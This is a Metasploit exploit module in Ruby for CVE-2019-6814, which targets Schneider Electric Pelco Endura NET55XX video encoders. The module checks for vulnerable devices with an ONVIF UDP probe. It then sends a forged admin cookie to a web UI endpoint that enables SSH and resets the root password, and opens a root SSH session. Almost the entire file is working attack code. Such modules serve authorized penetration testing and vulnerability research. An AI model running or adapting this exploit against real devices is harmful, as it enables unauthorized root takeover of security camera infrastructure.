Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Schneider Electric Pelco Endura NET55XX Encoder",  
'Description' => %q(  
This module exploits inadequate access controls within the webUI to enable  
the SSH service and change the root password. This module has been tested successfully  
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Lucas Dinucci <idntk.lucdin@gmail.com>',  
'Vitor Esperança <vitor@machiaveliclabs.com>'  
],  
'References' =>  
[  
['CVE', '2019-6814'],  
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']  
],  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [ [ "Universal", {} ] ],  
'Privileged' => true,  
'DisclosureDate' => "Jan 25 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),  
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def new_password  
datastore['NEW_PASSWORD']  
end  
  
def check  
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\  
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\  
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\  
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\  
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\  
'<a:ReplyTo>'\  
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\  
'</a:ReplyTo>'\  
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\  
'</Header>'\  
'<Body>'\  
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\  
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\  
'</Probe>'\  
'</Body>'\  
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'  
  
connect_udp(true, {'RPORT' => datastore['UDP_PORT']})  
udp_sock.put(xmlPayload)  
resp = []  
resp << udp_sock.get(datastore['TIMEOUT'])  
xmlResponse = resp.join(',')  
disconnect_udp  
if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")  
return Exploit::CheckCode::Appears  
end  
CheckCode::Safe  
end  
  
def change_password  
print_status("#{peer} - Attempt to change the root password...")  
post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),  
'data' => post,  
'headers' =>  
{  
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',  
'Content-Type' => 'application/json;charset=utf-8'  
}  
}, timeout=datastore['TIMEOUT'])  
  
fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200  
print_good("#{rhost}:80 - Successfully changed the root password...")  
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")  
end  
  
def do_login  
change_password  
print_status("#{rhost}:22 - Attempt to start a SSH connection...")  
factory = ssh_socket_factory  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:port => 22,  
:use_agent => false,  
:config => true,  
:password => new_password,  
:proxy => factory,  
:non_interactive => true,  
:verify_host_key => :never  
}  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)  
end  
rescue Rex::ConnectionError  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:22 SSH - Disconnected during negotiation"  
rescue ::Timeout::Error  
print_error "#{rhost}:22 SSH - Timed out during negotiation"  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:22 SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"  
end  
if ssh  
conn = Net::SSH::CommandStream.new(ssh)  
return conn  
end  
end  
  
def exploit  
conn = do_login  
if conn  
print_good("#{rhost}:22 - Session established ")  
handler(conn.lsock)  
end  
end  
end